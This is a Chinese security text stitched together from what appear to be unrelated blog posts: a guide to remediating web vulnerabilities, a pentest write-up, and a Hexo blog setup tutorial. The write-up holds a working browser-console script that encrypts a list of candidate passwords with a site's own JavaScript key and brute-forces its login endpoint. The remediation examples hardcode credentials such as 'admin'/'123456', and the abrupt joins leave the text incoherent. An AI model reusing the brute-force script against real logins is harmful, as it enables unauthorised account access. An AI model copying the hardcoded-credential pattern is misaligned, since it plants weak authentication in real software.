CSP通过指定有效域——即浏览器认可的可执行脚本的有效来源——使服务器管理者有能力减少或消除XSS攻击所依赖的载体。一个CSP兼容的浏览器将会仅执行从白名单域获取到的脚本文件,忽略所有的其他脚本 (包括内联脚本和HTML的事件处理属性)。

作为一种终极防护形式,始终不允许执行脚本的站点可以选择全面禁止脚本执行

修复建议:

配置内容安全策略涉及到添加 Content-Security-Policy HTTP头部到一个页面,并配置相应的值,以控制用户代理(浏览器等)可以为该页面获取哪些资源。比如一个可以上传文件和显示图片页面,应该允许图片来自任何地方,但限制表单的action属性只可以赋值为指定的端点。一个经过恰当设计的内容安全策略应该可以有效的保护页面免受跨站脚本攻击。本文阐述如何恰当的构造这样的头部,并提供了一些例子。

制定策略

你可以使用 Content-Security-Policy HTTP来指定你的策略,像这样:

Content-Security-Policy: policy

policy参数是一个包含了各种描述你的CSP策略指令的字符串。

URL重定向/跳转漏洞

漏洞危害:

恶意用户完全可以借用URL跳转漏洞来欺骗安全意识低的用户,从而导致“中奖”之类的欺诈,这对于一些有在线业务的企业如淘宝等,危害较大,同时借助URL跳转,也可以突破常见的基于“白名单方式”的一些安全限制,如传统IM里对于URL的传播会进行安全校验,但是对于大公司的域名及URL将直接允许通过并且显示会可信的URL,而一旦该URL里包含一些跳转漏洞将可能导致安全限制被绕过。如果引用一些资源的限制是依赖于“白名单方式”,同样可能被绕过导致安全风险,譬如常见的一些应用允许引入可信站点如youku.com的视频,限制方式往往是检查URL是否是youku.com来实现,如果youku.com内含一个url跳转漏洞,将导致最终引入的资源属于不可信的第三方资源或者恶意站点,最终导致安全问题。

修复建议:

理论上讲,url跳转属于CSRF的一种,我们需要对传入的URL做有效性的认证,保证该URL来自于正确的地方,限制的方式同防止csrf一样可以包括:

1 referer的限制

如果确定传递URL参数进入的来源,我们可以通过该方式实现安全限制,保证该URL的有效性,避免恶意用户自己生成跳转链接

2 加入有效性验证Token

我们保证所有生成的链接都是来自于我们可信域的,通过在生成的链接里加入用户不可控的Token对生成的链接进行校验,可以避免用户生成自己的恶意链接从而被利用,但是如果功能本身要求比较开放,可能导致有一定的限制。

漏洞危害:

会话 cookie 中缺少 HttpOnly 属性会导致攻击者可以通过程序(JS 脚本、Applet 等)获取到用户的

cookie信息,造成用户cookie信息泄露,增加攻击者的跨站脚本攻击威胁。

HttpOnly 是微软对 cookie 做的扩展,该值指定 cookie 是否可通过客户端脚本访问。Microsoft

Internet Explorer 版本 6 Service Pack 1 和更高版本支持cookie属性HttpOnly。

如果在Cookie中没有设置HttpOnly属性为true,可能导致Cookie被窃取。窃取的Cookie可以包含标识站点用户的敏感信息,如ASP.NET会话ID或Forms身份验证票证,攻击者可以重播窃取的Cookie,以便伪装成用户或获取敏感信息,进行跨站脚本攻击等。

如果在Cookie中设置HttpOnly属性为true,兼容浏览器接收到HttpOnly cookie,那么客户端通过

程序(JS脚本、Applet等)将无法读取到Cookie信息,这将有助于缓解跨站点脚本威胁。

修复建议:

向所有会话cookie中添加“HttpOnly”属性。

1
2
3
Java示例: 

HttpServletResponse response2 =(HttpServletResponse)response; response2.setHeader( \"Set-Cookie\",\"name=value; HttpOnly\");
1
2
3
4
5
C#示例: 

HttpCookie myCookie = newHttpCookie(\"myCookie\"); myCookie.HttpOnly = true;

Response.AppendCookie(myCookie);
1
2
3
4
5
VB.NET示例: 

Dim myCookie As HttpCookie = newHttpCookie(\"myCookie\") myCookie.HttpOnly = True

Response.AppendCookie(myCookie)

不安全的 HTTP 方法漏洞

漏洞危害:

Web服务器配置成允许下列其中一个(或多个)HTTP 方法:DELETE, SEARCH,COPY,MOVE, PROPFIND,

PROPPATCH, MKCOL ,LOCK ,UNLOCK 。这些方法表示可能在服务器上使用了 WebDAV。由于dav方法允许客户端操纵服务器上的文件,如果没有合理配置dav,有可能允许未授权的用户对其进行利用,修改服务器上的文件。

修复建议:

如果服务器不需要支持 WebDAV,请务必禁用它或者为允许webdav的目录配置严格的访问权限,如认证方法,认证需要的用户名,密码。

目录浏览漏洞(信息泄露漏洞、非授权文件包含漏洞)

漏洞危害:

攻击者通过目录遍历攻击可以获取系统文件及服务器的配置文件等。一般来说,他们利用服务器API、文件标准权限进行攻击。严格来说,目录遍历攻击并不是一种web漏洞,而是网站设计人员的设计“漏洞”。如果web设计者设计的web内容没有恰当的访问控制,允许http遍历,攻击者就可以访问受限的目录,并可以在web根目录以外执行命令。

目录遍历是针对Windows IIS和Apache的一种常见攻击方法,它可能让攻击者访问受限制的目录,通过执行cmd.exe /c命令来提取目录信息,或者在Web服务器的根目录以外执行命令。目录遍历漏洞可能存在于Web服务器软件本身,也可能存在于Web应用程序之中。

修复建议:

1、 系统开发阶段的防御

在系统开发阶段应充分考虑系统的安全性,对目录遍历漏洞来说,需对用户提交的内容进行严格的过滤,这里主要指过滤目录跳转符,字符截断符,dir命令等。

2、 系统运行阶段的防御

系统运维人员需有强烈的安全意识,他们的一举一动都会影响用户的个人隐私信息安全。对系统运维人员来说,部署新的业务系统或者安装新的软件或应用后应通过web扫描工具积极查找系统是否存在目录遍历漏洞,尽可能不要在服务器上安装与业务不相关的第三方软件以避免引入目录遍历漏洞。除此之外,还应该合理配置web服务器(禁止目录浏览,分配好目录权限等)并积极关注所使用的各种软件和应用的版本发布情况,及时升级新的软件版本。

不同web服务器禁止目录浏览方法有所不同。对IIS而言,如果不需要可执行的CGI,可以删除可执行虚拟目录或直接关闭目录浏览;如果确实需要可执行的虚拟目录,建议将可执行的虚拟目录单独放在一个分区。

对于Apache而言,管理员需要修改配置文件,禁止浏览列出目录和文件列表,如可通过修改conf目录下的 httpd.conf 文件来禁止使用目录索引。以 Apache 2.2.25 版本为例,打开 httpd.conf 文件将 “Options IndexesFollowSymLinks”中的“Indexes”删除,这样web目录下的所有目录都不再生成索引。

为更好的保护系统安全,实际生产环境和测试开发环境应该隔离。在生产环境中的任何改动,都需要严格遵循变更管理流程,做到执行人、执行时间、执行对象和具体改动均记录在案,并有企业信息安全部门进行事前审核和事后审计。技术人员一般不要直接调试生产系统,可以在测试环境中调试完成后再更新生产系统,以避免调试过程中开启某些接口、更改某些配置或者保存某些调试信息造成安全隐患。如果非要在线调试生产系统,而且需要保存调试信息时,应避免将调试信息直接保存到服务器本地,同时调试完成后应第一时间删除相关调试信息并恢复系统配置。

3、安全设备的防御进行目录遍历攻击时,攻击者基本都会使用目录跳转符,同时可能配合使用字符截断符,dir命令等。对专业的安全设备来说通过检测特定语法下的目录跳转符,字符截断符,以及与查看目录相关的命令即可识别各种目录遍历攻击。部署专业的安全设备不仅可以很好的保护业务系统自身的目录遍历漏洞,同时还能防御web服务器和服务器上其他非业务相关的第三方应用漏洞引发的目录遍历攻击。

WebService未授权访问

漏洞危害:

在访问的过程中,并没有对敏感信息进行身份验证与授权,如果这样,攻击者很可能会利用弱的身份验证与授权机制对信息进行访问.包括:

a):没有使用身份验证或在未加密的通信通道中使用基本身份验证。

b):密码在 SOAP 头信息中以明文形式传递。

修复建议

可以一下几种方法来实现身份验证。

方法一:在WebService中引入SoapHeader

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#region 配置登录标头  

/// <summary>

/// Code CreateBy BanLao

/// </summary>

public class MySoapHeader: SoapHeader

{

private string strUserName =string.Empty;

private string strPassWord =string.Empty;

public MySoapHeader() { }

public MySoapHeader(string username,string password)

{

this.strUserName = username;

this.strPassWord = password;

}

#region 构造 用户名|密码

public string UserName

{

get { return strUserName; }

set { strUserName = value; }

}

public string PassWord

{

get { return strPassWord; }

set { strPassWord = value; }

}



public bool CheckLogin()

{

if (strUserName == "合法登录名" && strPassWord == "合法登录密码")

{

return true;

}

else

{

return false;

}

}



#endregion

}

#endregion

方法二:Web Service以Session方式验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
[WebMethod(Description ="检测是否正确登录", EnableSession = true)]  

public boolCheckLogin(string strUserName, string strPassword)

{

if (strUserName.Equals("admin")&& strPassword.Equals("123456"))

{

Session["LoginState"] =true;

}

else

{

Session["LoginState"] =false;

}

return (bool)Session["LoginState"];

}

#region 测试连接

[WebMethod(Description ="测试连接", EnableSession = true)]

public string_GetValue(string strInputValue)

{

if (Session["LoginState"] == null|| Session["LoginState"].Equals(false))

{

return "无效的身份验证,请重试!";

}

else

{

string strReturnValue = strInputValue +"@CopyRight By BanLao 2010";

return strReturnValue;

}

}

#endregion

文件包含漏洞

漏洞危害:

文件包含漏洞,如果允许客户端用户输入控制动态包含在服务器端的文件,会导致恶意代码的执行及敏感信息泄露,简单来说就是攻击者通过浏览器、url地址或者是一个参数的变量的内容,可以通过修改这些url或者参数变量的内容,读取到web根目录以前其他文件。主要包括本地文件包含和远程文件包含两种形式。

修复建议:

1、 严格检查变量是否已经初始化。

2、 建议假定所有输入都是可疑的,尝试对所有输入提交可能可能包含的文件地址,包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现../之类的目录跳转符。

3、 严格检查include类的文件包含函数中的参数是否外界可控。

4、 不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。

5、 在发布应用程序之前测试所有已知的威胁。

用户信息泄漏

漏洞危害:

用户信息泄漏,导致个人资料的曝光与财产损失的不断增加。

修复建议:

对用户的敏感信息加强控制,使攻击者无法获取到用户的个人资料。

任意文件上传

漏洞危害:

文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,部分文件上传漏洞的利用技术门槛非常的低,对于攻击者来说很容易实施。

文件上传漏洞本身就是一个危害巨大的漏洞,WebShell更是将这种漏洞的利用无限扩大。大多数的上传漏洞被利用后攻击者都会留下WebShell 以方便后续进入系统。攻击者在受影响系统放置或者插入

WebShell后,可通过该WebShell更轻松,更隐蔽的在服务中为所欲为。

修复建议:

1、 系统开发阶段的防御

系统开发人员应有较强的安全意识,尤其是采用PHP语言开发系统。在系统开发阶段应充分考虑系统的安全性。对文件上传漏洞来说,最好能在客户端和服务器端对用户上传的文件名和文件路径等项目分别进行严格的检查。客户端的检查虽然对技术较好的攻击者来说可以借助工具绕过,但是这也可以阻挡一些基本的试探。服务器端的检查最好使用白名单过滤的方法,这样能防止大小写等方式的绕过,同时还需对%00 截断符进行检测,对HTTP包头的content-type也和上传文件的大小也需要进行检查。

2、 系统运行阶段的防御

系统上线后运维人员应有较强的安全意思,积极使用多个安全检测工具对系统进行安全扫描,及时发现潜在漏洞并修复。定时查看系统日志,web服务器日志以发现入侵痕迹。定时关注系统所使用到的第三方插件的更新情况,如有新版本发布建议及时更新,如果第三方插件被爆有安全漏洞更应立即进行修补。对于整个网站都是使用的开源代码或者使用网上的框架搭建的网站来说,尤其要注意漏洞的自查和软件版本及补丁的更新,上传功能非必选可以直接删除。除对系统自生的维护外,服务器应进行合理配置,非必选一般的目录都应去掉执行权限,上传目录可配置为只读。

3、 安全设备的防御

文件上传攻击的本质就是将恶意文件或者脚本上传到服务器,专业的安全设备防御此类漏洞主要是通过对漏洞的上传利用行为和恶意文件的上传过程进行检测。恶意文件千变万化,隐藏手法也不断推陈出新,对普通的系统管理员来说可以通过部署安全设备来帮助防御。

组件配置不当

组件配置不当是非常普遍的安全问题,主要是由于运维人员配置相关组件时考虑不严谨导致。解决方法一般是重新梳理需求,依据最小权限原则严格配置相关组件,并移除不使用的或非必要的组件。

接口返回数据问题

此问题是由于接口控制不严导致,解决方法一般是严格控制查询接口和响应数据,不需要返回的数据不返回给客户端。

代码执行漏洞

漏洞危害:

当应用在调用一些能将字符转化为代码的函数(如 PHP 中的 eval)时,没有考虑用户是否能控制这个字符串,这就会造成代码执行漏洞,使得攻击者可以执行任意代码,危害性极大。

修复建议:

1、 使用json保存数组,当读取时就不需要使用eval了

2、 对于必须使用eval的地方,一定严格处理用户数据

3、 字符串使用单引号包括可控代码,插入前使用addslashes转义

4、 放弃使用preg_replace的e修饰符,使用preg_replace_callback()替换

5、 若必须使用preg_replace的e修饰符,则必用单引号包裹正则匹配出的对象

DNS 区域传送漏洞

漏洞危害:

DNS是整个互联网公司业务的基础,目前越来越多的互联网公司开始自己搭建DNS服务器做解析服务,同时由于DNS服务是基础性服务非常重要,因此很多公司会对DNS服务器进行主备配置而DNS主备之间的数据同步就会用到dns域传送,但如果配置不当,就会导致任何匿名用户都可以获取DNS服务器某一域的所有记录,将整个企业的基础业务以及网络架构对外暴露从而造成严重的信息泄露,甚至导致企业网络被渗透。

恶意用户可以通过dns域传送获取被攻击域下所有的子域名。会导致一些非公开域名(测试域名、内部域名)泄露。而泄露的类似内部域名,其安全性相对较低,更容易遭受攻击者的攻击,比较典型的譬如内部的测试机往往就会缺乏必要的安全设置。

修复建议:

在相应的zone、options中添加allow-transfer限制可以进行同步的服务器,可以有两种方式:限制IP、使用key认证。

POODLE attack

漏洞危害:

SSL v3爆出漏洞,攻击者可利用该漏洞获取安全连接当中的明文内容。

修复建议:

可以禁用SSL3.0,或SSL3.0中的CBC模式加密,但是有可能造成兼容性问题。

建议支持TLS_FALLBACK_SCSV,这可以解决重试连接失败的问题,从而防止攻击者强制浏览器使用SSL3.0。

XXE

漏洞危害:

XXE漏洞会导致读取任意未授权文件,如读取服务器中的/etc/passwd文件;因为基于树的XML解析器会把全部加载到内存中,因此XXE漏洞也有可能被用来恶意消耗内存进行拒绝服务攻击。

修复建议:

在默认情况下关闭内联DTD解析(Inline DTD parsing)、外部实体、实体,使用白名单来控制允许实用的协议。

了解所使用的XML解析器是否默认解析外部实体,如果默认解析应根据实际情况进行关闭或者限制。

1.检查所使用的底层xml解析库,默认禁止外部实体的解析

2.使用第三方应用代码及时升级补丁

3.同时增强对系统的监控,防止此问题被人利用对于PHP,由于simplexml_load_string函数的XML解析问题出在libxml库上,所以加载实体前可以调用这样一个函数

参数污染漏洞

漏洞危害:

HTTP 参数污染攻击指的是攻击者在请求中构造多个参数名相同的参数,由于不同的服务器端脚本语言在处理相同参数名的参数时,可能选用的参数值与参数的先后顺序有关。

比如提交的请求中包含参数 name=value0&name=value1, 不同的服务器端脚本语言获取到的 name 的值可能为value0, 也可能为value1。

攻击者可利用参数污染请求进行以下攻击:

1)硬编码HTTP请求参数

2)修改正常应用行为

3)绕过web应用防火墙的防护

修复建议:

对于要求输入参数为整型的参数,校验输入参数值。

对于输入参数为字符串类型的参数,校验参数值中是否包含可用于分割参数的分隔符,比如& %26等。

console中后台爆破数据加密传输的思路

1
'Author': 'ka'

0x00 前言

渗透测试过程中遇到web登录的时候,现在很多场景账号密码都是经过js加密之后再请求发送(通过抓包可以看到加密信息)如图一burp抓到的包,request的post的登录包,很明显可以看到password参数的值是经过前端加密之后再进行传输的,遇到这种情况,普通发包的爆破脚本就很难爆破成功。

1

0x01 分析

分析一波后发现,网站登录时会调用,XLEncryption.js中的encMe函数

1
2
3
function encMe(s, k){
return stringToHex(encryption(k,s,1,0));
}

打开chrome,在此处下断点。user输入admin,password输入123456

1
2
3
function encMe(s, k){//s = "123456", k = "CCMS-APP"传进的参数
return stringToHex(encryption(k,s,1,0));
}

由此可知传入两个参数一个是,我们的password的值,还有一个是js加密用的key。

1
2
var myReturn = encMe("123456","CCMS-APP")
console.log(myReturn)

2

0x02 exp

exp的基本思路,用ajax把列表里的password发送,根据返回的数据包来判定是否成功

踩坑:

Q:变量命名 不要用i 不要用i 不要用i **肯定会重复 大家都喜欢用i

A:选一个不常用变量

Q:jquery ajax请求成功,返回了数据,但是不进success回调函数的问题。

A:先要处理返回数据。eval转换成json对象。

Q:在ajax中判断,无法输出想要的密码,每次输出的都是列表中最后一个元素

A:传参数时传入,两个参数如下面的代码中的function shepi(payload,myperson)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
	var testpass = ["root", "root123", "admin123", "admin666"];
for(var init=0;init<testpass.length;init++){
var myperson = testpass[init];
window.test = myperson
payload = encMe(myperson,"CCMS-APP");
shepi(payload,myperson);
}
function shepi(payload,myperson){
$.ajax({
url : "http://*****/Login/login.do",
type : "POST",
data : {
user:"bf9198e1396f8c3cf5d1914306c0c9c7",
password : payload,
openid : ""
},
async: "false",
success : function(data){
var data = eval('(' + data + ')');
if(data.errorCode != -1){
console.log(myperson)

}else{
}
}
})
}

aa

0x03 总结

可以直接在chrome console里面直接操作,不需要其他依赖。

1
2
Author:Ka
link: https://3cac.com/2018/04/25/hello-world/

0x00 安装环境

1
Ubuntu 16.04.3 LTS

0x01安装nodejs

安装高版本的nodejs,默认的包版本太低。

1
2
3
curl -sL https://deb.nodesource.com/setup_8.x | sudo -E bash -

sudo apt-get install nodejs

0x02安装nginx

用来做服务器,方便后面使用https

1
sudo apt-get install nginx

0x03安装hexo

hexo就是我博客使用的系统,node.js开发的

1
2
3
4
5
npm install hexo-cli -g
hexo init blog
cd blog
npm install
hexo server

基本的博客就搭完了,可以选取自己喜欢的主题 :

1
https://hexo.io/themes/

这里我用的是:

1
https://github.com/AlynxZhou/hexo-theme-aria

1
2
3
npm install --save hexo-renderer-njucks hexo-renderer-stylus hexo-generator-search hexo-generator-feed

git clone https://github.com/AlynxZhou/hexo-theme-aria themes/aria

修改你blog目录下的 _config.yml:

修改theme to aria:

1
theme: aria

安装hexo-admin,方便我们在线编辑网站

1
2
npm install --save hexo-admin
hexo server -d

打开 http://3cac:4000/admin/ 可以编辑网站

点击Settings –>Setup authentification here

1
2
3
Username:你的用户名
Password:你的密码
Secret:用于生成cookie的密钥

然后会在Admin Config Section生成代码
复制到你blog目录下的 _config.yml, 然后重启Hexo.就可以用了!

1
2
3
4
admin:
username: username
password_hash: $****$***$***.**************
secret: my super secret phrase

0x04配置博客

修改nginx配置文件

/etc/nginx/sites-enabled/default

1
2
3
4
5
6
7
8
server {
listen 80;
server_name 3cac.com;
location / {
root /home/**/**/blog/public; //你博客的物理地址+public
index index.html;
}
}

为了防止nginx修改root路径之后导致的403,我们需要执行如下命令,赋予nginx目录权限

1
sudo chmod o+x blog

使用pm2启动博客,是一个带有负载均衡功能的Node应用的进程管理器.

1
npm install -g pm2

保存下面代码为start.js

1
2
3
4
5
6
7
8
9
10
11
var spawn = require('child_process').spawn;
free = spawn('hexo', ['server', '-p 1337']); // 其实就是等于执行hexo server -p 1337 将博客启在1337端口上
free.stdout.on('data', function (data) {
console.log('standard output:\n' + data);
});
free.stderr.on('data', function (data) {
console.log('standard error output:\n' + data);
});
free.on('exit', function (code, signal) {
console.log('child process eixt ,exit:' + code);
});

用pm2启动hexo

1
pm2 start app.js

0x05使用Certbot 打造自己免费的https博客

1
2
3
4
5
6
7
8
9
$ sudo apt-get update
$ sudo apt-get install software-properties-common
$ sudo add-apt-repository ppa:certbot/certbot
$ sudo apt-get update
$ sudo apt-get install python-certbot-nginx

sudo certbot --nginx //按照提示输入邮箱等操作,然后访问3cac.com,已经用上https了

sudo certbot renew --dry-run //自动更新https